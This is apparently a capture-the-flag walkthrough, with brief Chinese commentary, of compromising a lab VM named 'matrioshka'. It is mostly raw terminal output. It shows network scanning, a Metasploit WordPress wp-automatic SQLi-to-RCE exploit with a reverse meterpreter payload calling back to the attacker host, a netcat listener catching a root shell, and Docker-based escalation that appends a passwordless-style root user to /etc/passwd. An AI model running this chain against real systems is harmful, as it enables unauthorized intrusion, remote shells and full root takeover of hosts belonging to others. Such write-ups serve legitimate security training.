❯ sudo arp-scan -l Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.236 08:00:27:0e:8d:17 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f5:54:75 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.027 seconds (126.30 hosts/sec). 4 responded ❯ export ip=192.168.60.236 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where '404 Not Found' meets '200 OK'. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.236:22 Open 192.168.60.236:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 16:31 CST Initiating ARP Ping Scan at 16:31 Scanning 192.168.60.236 [1 port] Completed ARP Ping Scan at 16:31, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 16:31 Completed Parallel DNS resolution of 1 host. at 16:31, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 16:31 Scanning 192.168.60.236 [2 ports] Discovered open port 22/tcp on 192.168.60.236 Discovered open port 80/tcp on 192.168.60.236 Completed SYN Stealth Scan at 16:31, 0.04s elapsed (2 total ports) Nmap scan report for 192.168.60.236 Host is up, received arp-response (0.00031s latency). Scanned at 2025-03-09 16:31:16 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:0E:8D:17 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ msfconsole Metasploit tip: View a module's description using info, or the enhanced version in your browser with info -d ______________________________________________________________________________ | | | 3Kom SuperHack II Logon | |______________________________________________________________________________| | | | | | | | User Name: [ security ] | | | | Password: [ ] | | | | | | | | [ OK ] | |______________________________________________________________________________| | | | https://metasploit.com | |______________________________________________________________________________| =[ metasploit v6.4.38-dev ] + -- --=[ 2467 exploits - 1273 auxiliary - 431 post ] + -- --=[ 1478 payloads - 49 encoders - 13 nops ] + -- --=[ 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ msf6 > search wp_automatic Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/http/wp_automatic_plugin_privesc 2021-09-06 normal Yes WordPress Plugin Automatic Config Change to RCE 1 exploit/multi/http/wp_automatic_sqli_to_rce 2024-03-13 excellent Yes WordPress wp-automatic Plugin SQLi Admin Creation 2 \_ target: PHP In-Memory . . . . 3 \_ target: Unix/Linux Command Shell . . . . 4 \_ target: Windows Command Shell . . . . Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/wp_automatic_sqli_to_rce After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell' msf6 > use 1 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > show options Module options (exploit/multi/http/wp_automatic_sqli_to_rce): Name Current Setting Required Description ---- --------------- -------- ----------- EMAIL [email protected] no Email for the new user PASSWORD dhnPDH8ZWTb6v5k no Password for the new user Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit .html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to the wordpress application USERNAME dorian.bartell no Username to create VHOST no HTTP server virtual host Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.60.100 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 PHP In-Memory View the full module info with the info, or info -d command. msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > set RHOSTS 192.168.60.236 RHOSTS => 192.168.60.236 msf6 exploit(multi/http/wp_automatic_sqli_to_rce) > exploit [*] Started reverse TCP handler on 192.168.60.100:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Attempting SQLi test to verify vulnerability... [+] The target is vulnerable. Target is vulnerable to SQLi! [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/fixflex/port.php... [!] This exploit may require manual cleanup of 'port.php' on the target [!] This exploit may require manual cleanup of 'fixflex.php' on the target [!] This exploit may require manual cleanup of '../fixflex' on the target [*] Exploit completed, but no session was created. msf6 exploit(multi/http/wp_automatic_sqli_to_rce) >
❯ ssh matrioshka@$ip [email protected]'s password: Linux matrioshka 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Aug 22 19:12:21 2024 from 10.0.2.8 matrioshka@matrioshka:~$ cat user.txt c8129b0390452d8378535cff76e0dde8
matrioshka@matrioshka:~$ busybox nc -lp 4444 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@39cfe3c81ea8:~/.hfs# id id uid=0(root) gid=0(root) groups=0(root) root@39cfe3c81ea8:~/.hfs# ls -al ls -al total 28 drwxr-xr-x 4 root root 4096 Mar 9 13:27 . drwx------ 1 root root 4096 Mar 9 08:28 .. -rw-r--r-- 1 root root 32 Mar 9 12:29 custom.html -rw-r--r-- 1 root root 402 Mar 9 12:27 debug.log drwxr-xr-x 2 root root 4096 Mar 9 08:28 logs drwxr-xr-x 2 root root 4096 Mar 9 08:28 plugins -rw-r--r-- 1 root root 33 Aug 22 2024 user.txt
然而我找了好久，啥信息也没有
Docker 提权
最后发现docker中装了docker
其中运行了三个容器，有一个是Ubuntu的容器，观察了一下容器ID
哎，不就是当前的容器吗39cfe3c81ea8
1 2 3 4 5 6
root@39cfe3c81ea8:~/.hfs# docker ps docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 39cfe3c81ea8 ubuntu:20.04 "/bin/bash -c 'apt-g…" 6 hours ago Up 6 hours 127.0.0.1:9090->80/tcp docker-hfs_hfs_1 8485358c3c48 mysql:8.0.0 "docker-entrypoint.s…" 6 months ago Up 6 hours 3306/tcp docker-wp_db_1 3ed5ddfe0e0c wordpress "docker-entrypoint.s…" 6 months ago Up 6 hours 127.0.0.1:8080->80/tcp docker-wp_wordpress_1
# echo "primary:zSZ7Whrr8hgwY:0:0::/root:/bin/bash" >>/etc/passwd # exit root@39cfe3c81ea8:~/.hfs# exit exit matrioshka@matrioshka:~$ logout Connection to 192.168.60.236 closed. ❯ ssh matrioshka@$ip [email protected]'s password: Linux matrioshka 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 9 10:21:07 2025 from 192.168.60.100 matrioshka@matrioshka:~$ su primary Password: root@matrioshka:/home/matrioshka# id uid=0(root) gid=0(root) groups=0(root) root@matrioshka:/home/matrioshka#
